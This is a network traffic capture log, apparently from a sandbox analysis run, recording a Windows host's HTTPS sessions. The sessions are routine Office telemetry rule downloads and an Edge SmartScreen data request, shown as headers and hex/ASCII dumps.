2024-10-29 19:35:18 UTC	1364	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 31 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 65 78 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 54 65 78 74 41 6e 64 46 6f 6e 74 73 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701150" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Text" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenTextAndFonts" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
111	192.168.2.5	49875	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 19:35:18 UTC	192	OUT	GET /rules/rule702950v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 19:35:18 UTC	563	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 19:35:18 GMT Content-Type: text/xml Content-Length: 1368 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:40 GMT ETag: "0x8DC582BDDC22447" x-ms-request-id: 207ff7bf-701e-006f-1357-27afc4000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T193518Z-16849878b7867ttgfbpnfxt44s00000006ug00000000kbaf x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-29 19:35:18 UTC	1368	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 39 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 72 61 6e 73 6c 61 74 6f 72 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 54 72 61 6e 73 6c 61 74 6f 72 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702950" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Translator" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenTranslator" S="Medium" /> <F T=

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
112	192.168.2.5	49886	4.150.155.223	443	7240	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-29 19:35:18 UTC	734	OUT	POST /api/browser/edge/data/toptraffic/3 HTTP/1.1 Host: data-edge.smartscreen.microsoft.com Connection: keep-alive Content-Length: 746 Accept: application/octet-stream;application/x-patch-bsdiff; Authorization: SmartScreenHash eyJhdXRoSWQiOiI0MWE0MzhiYy0xMjQ5LTQzZDMtYTI2ZC02OWNkNjJjMDgzMTciLCAia2V5IjoidnJOQzc2cE1ySExtUzZsS1NSdzREZz09IiwgImhhc2giOiJodzlWYTRYb2dWcz0ifQ== Content-Type: application/json; charset=utf-8 If-None-Match: "170540185939602997400506234197983529371" Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Accept-Encoding: gzip, deflate, br
2024-10-29 19:35:18 UTC	746	OUT	Data Raw: 7b 22 69 64 65 6e 74 69 74 79 22 3a 7b 22 75 73 65 72 22 3a 7b 22 6c 6f 63 61 6c 65 22 3a 22 65 6e 2d 47 42 22 7d 2c 22 64 65 76 69 63 65 22 3a 7b 22 69 64 22 3a 6e 75 6c 6c 2c 22 63 75 73 74 6f 6d 49 64 22 3a 6e 75 6c 6c 2c 22 6f 6e 6c 69 6e 65 49 64 54 69 63 6b 65 74 22 3a 6e 75 6c 6c 2c 22 66 61 6d 69 6c 79 22 3a 33 2c 22 6c 6f 63 61 6c 65 22 3a 22 65 6e 2d 47 42 22 2c 22 6f 73 56 65 72 73 69 6f 6e 22 3a 22 31 30 2e 30 2e 31 39 30 34 35 2e 32 30 30 36 2e 76 62 5f 72 65 6c 65 61 73 65 22 2c 22 62 72 6f 77 73 65 72 22 3a 7b 22 69 6e 74 65 72 6e 65 74 5f 65 78 70 6c 6f 72 65 72 22 3a 22 39 2e 31 31 2e 31 39 30 34 31 2e 30 22 7d 2c 22 6e 65 74 4a 6f 69 6e 53 74 61 74 75 73 22 3a 32 2c 22 65 6e 74 65 72 70 72 69 73 65 22 3a 7b 7d 2c 22 63 6c 6f 75 64 53 6b Data Ascii: {"identity":{"user":{"locale":"en-GB"},"device":{"id":null,"customId":null,"onlineIdTicket":null,"family":3,"locale":"en-GB","osVersion":"10.0.19045.2006.vb_release","browser":{"internet_explorer":"9.11.19041.0"},"netJoinStatus":2,"enterprise":{},"cloudSk
2024-10-29 19:35:19 UTC	252	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 19:35:18 GMT Content-Type: application/octet-stream Content-Length: 460992 Connection: close Server: Kestrel ETag: "638004170464094982" Request-Context: appId=cid-v1:a302ffdc-66e2-4f15-929a-164afd2d2584
2024-10-29 19:35:19 UTC	16132	IN	Data Raw: 00 01 b7 32 6c 49 bd 35 18 3c 43 00 3b d3 7b 9a 00 08 16 f5 5f 2b 6a 45 e7 a6 60 9a c2 7d 9c 16 00 0c 2d 9e cc 04 23 e9 41 f4 82 16 a9 4b 52 db 00 0c 6c e3 4d 30 2c 73 87 bc fb 29 94 39 d4 c2 00 0c b4 d9 e2 eb e5 8f d8 b5 78 ca fa c6 82 9e 00 0c da 46 f1 62 1d cd 1e ab c5 cd 6a 55 ed dc 00 0e 79 d2 8a 68 27 a0 d5 e5 e5 89 bf 4c 3c 1f 00 12 2a 1f c4 5a 99 f8 2a 25 e9 2a 92 1a f6 5f 00 14 b2 67 12 34 79 75 12 bc d6 99 a8 99 1c cc 00 14 c8 bf 10 27 63 3d b9 cd 49 30 99 bf d3 a1 00 17 f8 9d 81 a3 94 71 57 f8 bf 3c 3a 4e ba d2 00 1a 3c bc a6 55 f9 2c 4d 69 94 e9 c9 5f b9 8c 00 1f 17 b3 27 28 0e f5 55 df 39 10 21 05 ce 96 00 1f bc ff bf d8 75 92 d1 13 89 37 0b 86 dc 34 00 20 98 bc 45 61 f8 b8 0d 34 2e 2b fb 37 39 6b 00 21 54 ca 2d 35 57 fb 9f 21 b8 d7 9a 40 2b Data Ascii: 2lI5<C;{_+jE`}-#AKRlM0,s)9xFbjUyh'L<Z%*_g4yu'c=I0qW<:N<U,Mi_'(U9!u74 Ea4.+79k!T-5W!@+
2024-10-29 19:35:19 UTC	16384	IN	Data Raw: b8 6c 65 b5 81 d7 e8 96 a2 f6 fb f5 08 e9 4a 27 41 5a ef 9e 20 88 b1 dd 92 43 f1 c7 08 f6 31 2a b4 6b b0 d0 7b af f2 6e c0 3b 30 49 08 f7 14 46 2e c2 8e a1 9b 56 f6 89 ff 89 a1 a1 08 f8 86 49 94 74 f7 df c7 92 d3 f1 d5 09 db a4 08 f9 bb 85 2c 48 b7 6a b2 fe 9c 06 4c 91 ba af 08 fb 12 e5 67 95 f2 51 95 31 42 c4 14 92 6c 77 08 fb aa 20 c5 0c 96 4a 9a 6f 2e 40 d4 2b fd 90 08 fe aa 92 f9 b3 b3 8f b8 65 27 9b b9 df 14 f7 09 00 34 db 44 0d dd 66 70 53 8f 0b 31 18 8b ba 09 05 38 28 fa 80 5f eb 56 83 46 d1 dd 83 34 b7 09 06 35 0d 42 c1 3f 91 ee 97 ed f4 31 68 37 32 09 08 35 c9 14 24 10 2f b5 80 ac f7 9a 16 e6 e2 09 08 7a 82 38 a3 08 0b 00 2c 62 9c d0 2e d2 c4 09 09 d1 da a7 a8 16 cd 89 e5 ac fe b9 cc 8e 69 09 0e 20 d3 38 58 e2 6b 84 a1 e7 75 97 ad 75 61 09 0e 4d Data Ascii: leJ'AZ C1*k{n;0IF.VIt,HjLgQ1Blw Jo.@+e'4DfpS18(_VF45B?1h725$/z8,b.i 8XkuuaM
2024-10-29 19:35:19 UTC	16384	IN	Data Raw: 88 ca 0d 74 ff b7 03 d5 0b 17 29 2e 12 86 39 8d 65 51 d1 6b 43 f6 37 a6 5e 4e 7e d5 12 8c a6 4c a1 b4 9a f4 6b 69 49 eb 0d 33 90 eb 12 8f 60 36 ec 98 cd 7f 6a 59 fe c5 d1 d5 4b 38 12 92 da 96 3e 8a fd ee fb c5 ac d0 29 b4 8e 13 12 95 25 87 d8 33 f2 c0 16 e8 0f 63 67 d6 78 d1 12 96 03 01 99 d8 95 ea 2c 0a f8 85 62 05 db 93 12 96 52 aa 59 60 de e6 e9 8c 23 d4 b7 c1 34 3d 12 96 bf ae d0 b9 c2 92 db f1 41 07 61 b1 82 5d 12 97 53 89 b5 7c fd 88 82 19 c7 b1 b0 0f af ed 12 98 30 32 6a a5 03 4e 26 db 95 be 1b a9 a3 e2 12 9a ea fe 35 92 c8 f4 3b 7a 18 36 80 cb 78 bf 12 9b 33 a3 9e d9 7b 54 c8 7b da 3b ed a8 dd 25 12 9b 98 d3 83 cc 49 8e 52 58 13 7e 3f 04 d9 af 12 9c 0d 11 dc 93 65 32 c4 f0 f6 a9 12 25 13 25 12 9c 28 31 10 8a f9 38 40 df 1f 08 9f 08 d4 71 12 9f 71 Data Ascii: t).9eQkC7^N~LkiI3`6jYK8>)%3cgx,bRY`#4=Aa]S\|02jN&5;z6x3{T{;%IRX~?e2%%(18@qq
2024-10-29 19:35:19 UTC	16384	IN	Data Raw: 8c e6 1b 88 d1 53 7d a1 f2 bc f6 d3 1b bd 38 be aa 88 bb f2 1c 05 de ac 2c b3 63 c3 1b bf d8 bc e5 a8 4c 42 a1 5e 7d 76 56 07 18 dd 1b c1 05 6e 7a a0 f3 27 8e eb 4f 29 e6 e0 a0 2a 1b c2 a1 45 60 4f 19 d0 fa 94 66 c2 31 56 e0 ac 1b c3 58 61 04 7c 91 76 1b 27 0c 2e 05 4d 26 17 1b c4 0f 81 e0 48 ff 13 e9 e7 fd ae 77 76 47 85 1b c5 d5 9a 68 ef 46 53 52 de 8b 1c 3a 7b 4f 53 1b cc c2 c4 df 4d dc 18 9f 1a a6 aa 47 f5 9f 2e 1b cd 8c 32 11 55 08 6c 9c 2f 0b 09 34 58 ca d2 1b cf 2c 48 15 0b dd b9 a9 cc 90 e8 14 76 e1 c7 1b d1 50 e1 1f 03 b2 ff 0f ab b3 c3 a2 cf c2 1a 1b d6 7a 97 41 b9 a0 2a 37 7b ba 9a 0a 00 47 56 1b da a2 08 31 23 96 3c 24 0a b0 10 2f 5e b6 c3 1b dc 15 6b ce f9 b8 64 db f8 fb 84 2a d6 02 9b 1b dc 58 1e e3 44 3f fb c2 e7 7f 97 d4 41 5f 1c 1b dc 83 Data Ascii: S}8,cLB^}vVnz'O)E`Of1VXa\|v'.M&HwvGhFSR:{OSMG.2Ul/4X,HvPzA7{GV1#<$/^kd*XD?A_
2024-10-29 19:35:19 UTC	16384	IN	Data Raw: 9c f0 8f 05 68 32 cf 23 af 0f e9 31 25 17 e2 83 8c a0 e0 45 41 22 69 ae 51 16 97 9e 25 19 94 88 65 65 22 da 5c e4 68 67 07 cf 5f 7a 25 1e 6a 2e 6e bf 40 39 a7 91 dd 9f 82 5c b4 be 25 21 01 14 90 ab fe fa c5 d4 0a 62 0b cd 30 e1 25 21 03 7a 48 db 3d 1f b8 bc 66 91 12 c8 41 7f 25 24 00 6f 09 69 7b 22 bc d0 5a 82 9d c8 cb 00 25 24 76 95 60 1f 20 bf 51 8e ef 43 af 74 27 17 25 24 d0 90 ec 4d 35 f3 3b 75 d1 b6 56 62 63 3e 25 25 bd 14 86 f0 f0 dc 12 c9 55 32 f1 85 66 4f 25 25 de ea a2 0c 7b b9 31 02 c3 fc 10 0f 92 23 25 27 0a 2e 12 37 63 79 36 e7 03 6f 4c 1e 67 7e 25 29 ef 20 dd 60 cb e0 1f 91 82 96 c4 38 ef d3 25 2c 0d 19 1e 65 a3 27 9b 58 e2 44 e3 80 93 37 25 2c e2 18 e3 78 51 0e b2 f9 62 26 e5 78 8f 9f 25 36 84 bd bb 8f cc a6 bc 42 a8 bf 22 b0 f1 a9 25 3a 54 Data Ascii: h2#1%EA"iQ%ee"\hg_z%j.n@9\%!b0%!zH=fA%$oi{"Z%$v` QCt'%$M5;uVbc>%%U2fO%%{1#%'.7cy6oLg~%) `8%,e'XD7%,xQb&x%6B"%:T
2024-10-29 19:35:19 UTC	16384	IN	Data Raw: b6 07 8f 44 9d 29 36 4f 29 8a 7d 80 2e 1d 98 b7 c7 17 54 cd a1 2b c2 e9 29 21 98 f9 2e 1f 4a 0d ee 13 3f 5a 00 ff e7 0d f0 d4 1c 86 2e 21 27 d4 ff 4a 83 22 1e 86 3f 93 6b 62 a1 0e 2e 25 e1 37 a1 70 d4 f6 b3 17 bd e9 dd 8d 2a 44 2e 26 32 0d f4 82 4c f6 14 9e 97 92 23 fa 52 37 2e 2a 40 96 f4 4d 34 89 21 f2 49 39 e8 d3 d3 19 2e 2b ef 39 f1 8a 4a 7e 28 b9 d0 be 00 6f 35 68 2e 2e 95 d3 bd e3 e7 a0 d6 d0 25 5e 0d b7 b5 a5 2e 31 ce 53 a9 54 e0 3b 3c 2f fc 4d eb 0f a5 e1 2e 33 1e 46 e8 3a 01 30 91 17 49 f3 33 11 46 79 2e 36 b7 bb 07 e4 6d 92 d5 42 49 d7 e5 49 f4 85 2e 36 e8 96 57 36 97 bb 40 7a 3b ca 8a e0 7e 53 2e 3a 1e f2 97 75 d6 ae 4f f5 85 eb 36 38 65 e5 2e 3a 59 df c9 6e 75 92 ac 40 ac 59 a6 fd e4 1c 2e 3b 8e 5c 94 1d 75 39 54 06 13 6b 6e 7f ef 30 2e 43 e8 Data Ascii: D)6O)}.T+)!.J?Z.!'J"?kb.%7pD.&2L#R7.@M4!I9.+9J~(o5h..%^.1ST;</M.3F:0I3Fy.6mBII.6W6@z;~S.:uO68e.:Ynu@Y.;\u9Tkn0.C
2024-10-29 19:35:19 UTC	16384	IN	Data Raw: 02 f3 ca e4 05 cb a0 be 15 69 62 32 37 3c 37 3b db 81 8a b2 df cf ef b1 79 3f f8 ae 37 3d a3 01 e8 95 76 a1 63 78 77 2e 93 42 3d 4f 37 3e c4 08 a5 37 4f 84 43 dc 19 00 a9 8f 2e 0d 37 3f 82 55 cb cd 06 b9 0c 0d 94 f9 4f d6 82 e8 37 44 09 28 b8 33 ef b7 ee 6b 4c 90 ee e0 d1 3a 37 44 83 9a 56 2d 6a 58 ea 6b e5 8f 6a 1d 17 23 37 47 0f 55 f8 2b 1c 30 89 3a 1d e2 21 89 b7 42 37 4b 86 38 d0 cd 9f 96 62 d8 da bf d5 15 ed cb 37 4e 81 34 2b 0e ea ab 6f ae 29 15 59 32 ae 46 37 50 d2 0c 2a e2 ca 59 ec 21 86 70 f9 7a 6c d1 37 55 32 b2 91 f0 e7 b8 47 d0 f7 0f 64 90 d9 51 37 56 ce 44 24 61 58 d7 f8 d4 0d 8b fe 3d b0 27 37 58 1f 24 d2 a5 24 9c d7 5c 5a 71 f9 e9 f2 a3 37 58 9d d0 f0 06 3a 05 be 08 d9 90 bc 18 0d 71 37 5d 04 71 81 05 8e b6 9b 24 f2 54 35 1b 18 46 37 62 eb Data Ascii: ib27<7;y?7=vcxw.B=O7>7OC.7?UO7D(3kL:7DV-jXkj#7GU+0:!B7K8b7N4+o)Y2F7P*Y!pzl7U2GdQ7VD$aX='7X$$\Zq7X:q7]q$T5F7b
2024-10-29 19:35:19 UTC	16384	IN	Data Raw: 30 9b b9 2f 98 88 40 3b cc 98 d2 59 40 6d c4 d7 67 2a f1 8a f6 d5 d3 92 a9 c6 13 1d 40 71 5f 29 26 14 e2 86 f2 b1 3c d6 fc 07 07 4a 40 77 d4 86 06 be 80 6f b2 fd e4 19 fe 6b 6a 94 40 78 4d f5 b9 67 58 78 83 29 63 04 29 22 98 8d 40 7a 85 3f 10 18 78 19 d3 be 45 8d 0e 49 7b bb 40 7b 5d c5 55 97 e5 9d 35 9d 27 93 51 1d be 21 40 7d 42 88 f1 ca 9d ba 2a 28 3a f8 72 71 ba c7 40 7e 4d cf f4 13 b8 8f f1 9c e6 e4 a8 50 74 d0 40 80 bb 51 db 04 52 b7 b2 f3 5f dc db 6d 4b de 40 88 e2 91 a0 6c 67 8c d2 0b 9f d2 91 ca 6d 22 40 8a b9 d3 6a f9 07 64 05 ea 52 dc 44 82 0b 38 40 8b 54 ce 67 df 8c a3 48 2d 96 f6 ed e4 cf 78 40 8e 78 fd f9 d7 db ac 12 a0 80 27 db 9f 14 42 40 90 00 78 66 ff 66 2b 58 9f 18 13 aa 3d 6e b3 40 90 fa a1 0b 8e ee 2b 73 4b 59 c6 c9 b1 84 9b 40 93 53 Data Ascii: 0/@;Y@mg@q_)&<J@wokj@xMgXx)c)"@z?xEI{@{]U5'Q!@}B(:rq@~MPt@QR_mK@lgm"@jdRD8@TgH-x@x'B@xff+X=n@+sKY@S
2024-10-29 19:35:19 UTC	16384	IN	Data Raw: 66 82 7d 26 60 5e 84 ec 72 2a af 39 49 bb 12 c2 0a 6a 68 a1 f1 aa 3c 93 f9 79 13 0e 49 bb 81 dd 8c 7e 5d 19 6b 54 60 33 c1 1e 70 56 49 bc df 84 ed 14 a3 5d 07 06 25 84 6a 95 02 e0 49 bd eb 48 24 83 1e f1 e0 29 fe 9e e6 22 da 07 49 c1 2d 65 e8 79 f6 32 c8 9b 5b 3f 1a a8 9d b9 49 c4 33 af 97 7a e9 a1 ba ed 12 d0 a3 40 1e 42 49 c5 09 f1 9f 2c bb 61 75 14 cf 80 9c 0e 85 9e 49 c8 81 16 cb ae 60 54 25 eb 75 fe e4 b5 16 8c 49 cc 62 7c 10 80 46 f7 71 86 18 7b bd ea 45 5f 49 cd ad e9 e7 ee e9 a2 7e 24 2e 10 93 70 b0 ad 49 d1 bc ac 01 05 b1 9b be b4 f8 4e e6 0c 0d ac 49 d2 4b be 25 0a bd 70 d0 f7 10 c2 d7 38 8b f2 49 d4 c5 71 4c 7f 7a 2a 83 c3 c3 50 d2 c2 4c 3e 49 d5 40 eb ee b7 40 f4 16 fe b4 e7 35 d0 25 e3 49 d6 e7 89 68 04 ba a1 f5 37 3f 51 0a 5e cc 25 49 da b4 Data Ascii: f}&`^r9Ijh<yI~]kT`3pVI]%jIH$)"I-ey2[?I3z@BI,auI`T%uIb\|Fq{E_I~$.pINIK%p8IqLzPL>I@@5%Ih7?Q^%I

Session ID	Source IP	Source Port	Destination IP	Destination Port
113	192.168.2.5	49892	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 19:35:19 UTC	192	OUT	GET /rules/rule702201v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 19:35:19 UTC	584	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 19:35:19 GMT Content-Type: text/xml Content-Length: 1397 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:56 GMT ETag: "0x8DC582BE7262739" x-ms-request-id: f0c9e92d-201e-0000-1199-25a537000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T193519Z-16849878b78x6gn56mgecg60qc00000008sg00000000m4fu x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-29 19:35:19 UTC	1397	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 32 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 65 6c 6c 4d 65 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 54 65 6c Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702201" V="1" DC="SM" EN="Office.Telemetry.Event.Office.TellMe.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenTel

Session ID	Source IP	Source Port	Destination IP	Destination Port
114	192.168.2.5	49895	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 19:35:19 UTC	192	OUT	GET /rules/rule700400v2s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 19:35:19 UTC	563	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 19:35:19 GMT Content-Type: text/xml Content-Length: 1366 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:36 GMT ETag: "0x8DC582BDB779FC3" x-ms-request-id: 16f71f95-f01e-0099-73fb-259171000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T193519Z-16849878b78fkwcjkpn19c5dsn00000005w00000000106gs x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-29 19:35:19 UTC	1366	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 34 30 30 22 20 56 3d 22 32 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 54 65 6c 65 6d 65 74 72 79 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700400" V="2" DC="SM" EN="Office.Telemetry.Event.Office.Telemetry" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenTelemetry" S="Medium" /> <F T="2

Session ID	Source IP	Source Port	Destination IP	Destination Port
115	192.168.2.5	49894	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 19:35:19 UTC	192	OUT	GET /rules/rule702200v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 19:35:19 UTC	563	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 19:35:19 GMT Content-Type: text/xml Content-Length: 1360 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:40 GMT ETag: "0x8DC582BDDEB5124" x-ms-request-id: cb3ec3ab-c01e-0014-40b8-26a6a3000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T193519Z-16849878b78wc6ln1zsrz6q9w800000006q000000000a57t x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-29 19:35:19 UTC	1360	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 32 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 65 6c 6c 4d 65 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 54 65 6c 6c 4d 65 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702200" V="1" DC="SM" EN="Office.Telemetry.Event.Office.TellMe" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenTellMe" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
116	192.168.2.5	49893	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 19:35:19 UTC	192	OUT	GET /rules/rule700401v2s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 19:35:19 UTC	563	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 19:35:19 GMT Content-Type: text/xml Content-Length: 1403 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:38 GMT ETag: "0x8DC582BDCB4853F" x-ms-request-id: 0df29f50-101e-005a-068d-27882b000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T193519Z-15b8d89586fqj7k5h9gbd8vs98000000081000000000k01g x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
